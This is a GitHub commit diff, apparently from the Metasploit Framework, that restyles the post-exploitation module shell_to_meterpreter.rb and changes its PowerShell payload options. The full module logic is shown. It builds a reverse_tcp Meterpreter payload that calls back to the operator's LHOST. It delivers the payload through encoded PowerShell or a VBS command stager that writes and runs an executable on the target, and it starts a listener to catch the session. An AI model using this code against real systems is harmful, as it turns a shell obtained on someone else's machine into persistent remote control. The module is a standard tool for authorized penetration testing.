Skip to content

Commit 6315710

Browse files
committed
Update for most recent PowerShell.rb
This update makes the module compatible with Meatballs' march PowerShell changes mentioned earlier (lines 112/113). It also includes changes recommended by Timwr and about 2/3 of the issues mentioned by Rubocop. I didn't make some of the Rubocop changes based on HD's comments in IRC that it was still being tuned to meet the project's requirements.
1 parent 11515fc commit 6315710

File tree

1 file changed

+41
-52
lines changed

1 file changed

+41
-52
lines changed

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 41 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,8 @@ class Metasploit3 < Msf::Post
1212
include Exploit::Powershell
1313
include Post::Windows::Powershell
1414

15-
def initialize(info={})
16-
super( update_info( info,
15+
def initialize(info = {})
16+
super(update_info(info,
1717
'Name' => 'Shell to Meterpreter Upgrade',
1818
'Description' => %q{
1919
This module attempts to upgrade a command shell to meterpreter. The shell
@@ -33,9 +33,9 @@ def initialize(info={})
3333
OptInt.new('LPORT',
3434
[false, 'Port for Payload to connect to.', 4433]),
3535
OptBool.new('HANDLER',
36-
[ true, 'Start an Exploit Multi Handler to receive the connection', true]),
36+
[ true, 'Start an Exploit Multi Handler to receive the connection', true])
3737
], self.class)
38-
deregister_options("PERSIST","PSH_OLD_METHOD","RUN_WOW64")
38+
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
3939
end
4040

4141
# Run Method for when run command is issued
@@ -49,7 +49,7 @@ def run
4949
elsif framework.datastore['LHOST']
5050
lhost = framework.datastore['LHOST']
5151
else
52-
lhost = session.tunnel_local.split(":")[0]
52+
lhost = session.tunnel_local.split(':')[0]
5353
end
5454

5555
# If nothing else works....
@@ -64,6 +64,7 @@ def run
6464
payload_name = 'windows/meterpreter/reverse_tcp'
6565
lplat = [Msf::Platform::Windows]
6666
larch = [ARCH_X86]
67+
psh_arch = 'x86'
6768
when /osx/i
6869
platform = 'python'
6970
payload_name = 'python/meterpreter/reverse_tcp'
@@ -79,7 +80,7 @@ def run
7980
payload_name = 'linux/x86/meterpreter/reverse_tcp'
8081
lplat = [Msf::Platform::Linux]
8182
larch = [ARCH_X86]
82-
elsif cmd_exec("python -V") =~ /Python 2\.(\d)/
83+
elsif cmd_exec('python -V') =~ /Python 2\.(\d)/
8384
# Generic fallback for OSX, Solaris, Linux/ARM
8485
platform = 'python'
8586
payload_name = 'python/meterpreter/reverse_tcp'
@@ -91,15 +92,14 @@ def run
9192
return nil
9293
end
9394

94-
payload_data = generate_payload(lhost,lport,payload_name)
95+
payload_data = generate_payload(lhost, lport, payload_name)
9596
if payload_data.blank?
9697
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
9798
return nil
9899
end
99100

100-
101101
if datastore['HANDLER']
102-
listener_job_id = create_multihandler(lhost,lport,payload_name)
102+
listener_job_id = create_multihandler(lhost, lport, payload_name)
103103
if listener_job_id.blank?
104104
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
105105
return nil
@@ -109,7 +109,8 @@ def run
109109
case platform
110110
when 'win'
111111
if have_powershell?
112-
cmd_exec(cmd_psh_payload(payload_data))
112+
psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
113+
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
113114
else
114115
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
115116
aborted = transmit_payload(exe)
@@ -123,11 +124,9 @@ def run
123124

124125
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
125126
return nil
126-
127127
end
128128

129129
def transmit_payload(exe)
130-
131130
#
132131
# Generate the stager command array
133132
#
@@ -140,7 +139,7 @@ def transmit_payload(exe)
140139
#:nodelete => true # keep temp files (for debugging)
141140
}
142141
if session.platform =~ /win/i
143-
opts[:decoder] = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
142+
opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
144143
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
145144
else
146145
opts[:background] = true
@@ -150,8 +149,8 @@ def transmit_payload(exe)
150149
end
151150

152151
cmds = cmdstager.generate(opts)
153-
if (cmds.nil? or cmds.length < 1)
154-
print_error("The command stager could not be generated")
152+
if cmds.nil? || cmds.length < 1
153+
print_error('The command stager could not be generated')
155154
raise ArgumentError
156155
end
157156

@@ -169,18 +168,16 @@ def transmit_payload(exe)
169168
aborted = false
170169
cmds.each { |cmd|
171170
ret = session.shell_command_token(cmd)
172-
if (not ret)
171+
if !ret
173172
aborted = true
174173
else
175174
ret.strip!
176-
if (not ret.empty?)
177-
aborted = true
178-
end
175+
aborted = true if !ret.empty?
179176
end
180177
if aborted
181-
print_error("Error: Unable to execute the following command:")
178+
print_error('Error: Unable to execute the following command:')
182179
print_error(cmd.inspect)
183-
print_error('Output: ' + ret.inspect) if ret and not ret.empty?
180+
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
184181
break
185182
end
186183

@@ -200,23 +197,21 @@ def transmit_payload(exe)
200197
end
201198

202199
def cleanup_handler(listener_job_id, aborted)
203-
204200
# Return if the job has already finished
205201
return nil if framework.jobs[listener_job_id].nil?
206202

207-
Thread.new do
208-
if not aborted
209-
timer = 0
210-
while not framework.jobs[listener_job_id].nil? && timer < 10
211-
# Wait up to 10 seconds for the session to come in..
212-
sleep(1)
213-
timer += 1
214-
end
203+
Thread.new do
204+
if !aborted
205+
timer = 0
206+
while !framework.jobs[listener_job_id].nil? && timer < 10
207+
# Wait up to 10 seconds for the session to come in..
208+
sleep(1)
209+
timer += 1
215210
end
216-
print_status("Stopping multi/handler")
217-
framework.jobs.stop_job(listener_job_id)
218211
end
219-
212+
print_status('Stopping multi/handler')
213+
framework.jobs.stop_job(listener_job_id)
214+
end
220215
end
221216

222217
#
@@ -227,16 +222,15 @@ def progress(total, sent)
227222
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
228223
end
229224

230-
231225
# Method for checking if a listener for a given IP and port is present
232226
# will return true if a conflict exists and false if none is found
233-
def check_for_listener(lhost,lport)
234-
client.framework.jobs.each do |k,j|
227+
def check_for_listener(lhost, lport)
228+
client.framework.jobs.each do |k, j|
235229
if j.name =~ / multi\/handler/
236230
current_id = j.jid
237-
current_lhost = j.ctx[0].datastore["LHOST"]
238-
current_lport = j.ctx[0].datastore["LPORT"]
239-
if lhost == current_lhost and lport == current_lport.to_i
231+
current_lhost = j.ctx[0].datastore['LHOST']
232+
current_lport = j.ctx[0].datastore['LPORT']
233+
if lhost == current_lhost && lport == current_lport.to_i
240234
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
241235
return true
242236
end
@@ -246,14 +240,14 @@ def check_for_listener(lhost,lport)
246240
end
247241

248242
# Starts a multi/handler session
249-
def create_multihandler(lhost,lport,payload_name)
243+
def create_multihandler(lhost, lport, payload_name)
250244
pay = client.framework.payloads.create(payload_name)
251245
pay.datastore['LHOST'] = lhost
252246
pay.datastore['LPORT'] = lport
253-
print_status("Starting exploit multi handler")
254-
if not check_for_listener(lhost,lport)
247+
print_status('Starting exploit multi handler')
248+
if !check_for_listener(lhost, lport)
255249
# Set options for module
256-
mh = client.framework.exploits.create("multi/handler")
250+
mh = client.framework.exploits.create('multi/handler')
257251
mh.share_datastore(pay.datastore)
258252
mh.datastore['WORKSPACE'] = client.workspace
259253
mh.datastore['PAYLOAD'] = payload_name
@@ -276,24 +270,19 @@ def create_multihandler(lhost,lport,payload_name)
276270
# target could end up on on a different handler with the wrong payload
277271
# or dropped entirely.
278272
select(nil, nil, nil, 5)
279-
if framework.jobs[mh.job_id.to_s].nil?
280-
return nil
281-
end
273+
return nil if framework.jobs[mh.job_id.to_s].nil?
282274

283275
return mh.job_id.to_s
284276
else
285-
print_error("A job is listening on the same local port")
277+
print_error('A job is listening on the same local port')
286278
return nil
287279
end
288-
289-
290280
end
291281

292-
def generate_payload(lhost,lport,payload_name)
282+
def generate_payload(lhost, lport, payload_name)
293283
payload = framework.payloads.create(payload_name)
294284
options = "LHOST=#{lhost} LPORT=#{lport}"
295285
buf = payload.generate_simple('OptionStr' => options)
296-
return buf
286+
buf
297287
end
298-
299288
end

0 commit comments

Comments
 (0)